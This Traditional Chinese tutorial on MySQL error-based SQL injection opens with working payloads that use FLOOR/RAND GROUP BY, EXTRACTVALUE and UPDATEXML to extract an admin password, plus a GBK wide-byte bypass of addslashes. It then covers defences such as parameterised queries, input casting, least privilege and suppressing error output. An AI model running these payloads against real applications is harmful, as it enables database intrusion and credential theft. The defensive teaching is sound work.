本文僅供安全研究與防禦建設參考,**嚴禁用於非授權測試或攻擊**。所有範例均在受控環境驗證,旨在幫助開發者理解注入原理,建構更安全的應用。
利用 MySQL 函數在特定條件下拋出錯誤,將查詢結果 (版本、資料表名、帳號密碼) 嵌入錯誤訊息回顯。前提:應用將 SQL 錯誤直接返回給前端 (如 display_errors=On、未捕獲異常)。
-- 基礎結構
SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT VERSION()), FLOOR(RAND(0)*2)) x
FROM information_schema.tables GROUP BY x) a;
-- 實戰:提取 admin 密碼
SELECT * FROM article WHERE id = 1 AND (
SELECT 1 FROM (
SELECT COUNT(*), CONCAT((SELECT pass FROM admin LIMIT 1), FLOOR(RAND(0)*2)) x
FROM information_schema.tables GROUP BY x
) a
);
原理:RAND(0) 固定種子產生確定性隨機序列,FLOOR(RAND(0)*2) 交替產生 0,1,0,1...。GROUP BY x 時,MySQL 先建虛擬表,再插入聚合結果。當同一 x 值第二次插入時觸發 Duplicate entry 錯誤,錯誤訊息包含 CONCAT 內容。
限制:需可控制 GROUP BY 子句,且錯誤回顯。
-- 基礎
SELECT EXTRACTVALUE(1, CONCAT(0x5c, (SELECT VERSION())));
-- 實戰
SELECT * FROM article WHERE id = 1 AND
EXTRACTVALUE(1, CONCAT(0x5c, (SELECT pass FROM admin LIMIT 1)));
原理:EXTRACTVALUE(xml_frag, xpath_expr) 解析 XPath。0x5c 為反斜線 \,構造非法 XPath \version_string 觸發 XPATH syntax error: 'version_string'。
優勢:無需 GROUP BY,語句更短,繞過部分 WAF。
-- 基礎
SELECT UPDATEXML(1, CONCAT(0x5e24, (SELECT VERSION()), 0x5e24), 1);
-- 實戰
SELECT * FROM article WHERE id = 1 AND
1 = (UPDATEXML(1, CONCAT(0x5e24, (SELECT pass FROM admin LIMIT 1), 0x5e24), 1));
原理:0x5e24 為 ^$,構造 ^$version^$ 非法 XPath。UPDATEXML 第三參數為替換次數,設 1 即可。錯誤訊息同樣回顯查詢結果。
-- GBK 編碼環境下
' OR 1=1 /* → addslashes → \' OR 1=1 /*
-- 攻擊者輸入 0xbf27 (GBK 雙字節字符 '縗' 的第二字節 + 單引號)
-- addslashes 將 0xbf27 → 0xbf5c27 (\' 在 GBK 中仍為有效雙字節 + 單引號)
-- 繞過轉義,單引號閉合成功
addslashes 不感知字符集,多字節編碼 (GBK/BIG5/Shift_JIS) 易被繞過。
-- PDO (PHP)
$stmt = $pdo->prepare('SELECT * FROM users WHERE email = ? AND status = ?');
$stmt->execute([$email, 1]);
-- MyBatis (Java)
-- Node.js mysql2
const [rows] = await pool.execute('SELECT * FROM users WHERE email = ?', [email]);
**原則**:永遠不拼接 SQL 字串,所有動態值走參數綁定。
// ID 必須為整數
$id = (int)($_GET['id'] ?? 0);
// 或
if (!ctype_digit($id)) throw new InvalidArgumentException('Invalid ID');
SELECT/INSERT/UPDATE/DELETE。DROP、ALTER、FILE、PROCESS 等高危權限。# php.ini
display_errors = Off
log_errors = On
error_log = /var/log/php/error.log
# 框架層統一異常處理,返回通用錯誤頁/JSON,不暴露堆疊/ SQL
防禦 SQL 注入沒有銀彈,**參數化查詢 + 最小權限 + 錯誤不回顯** 才是鐵三角。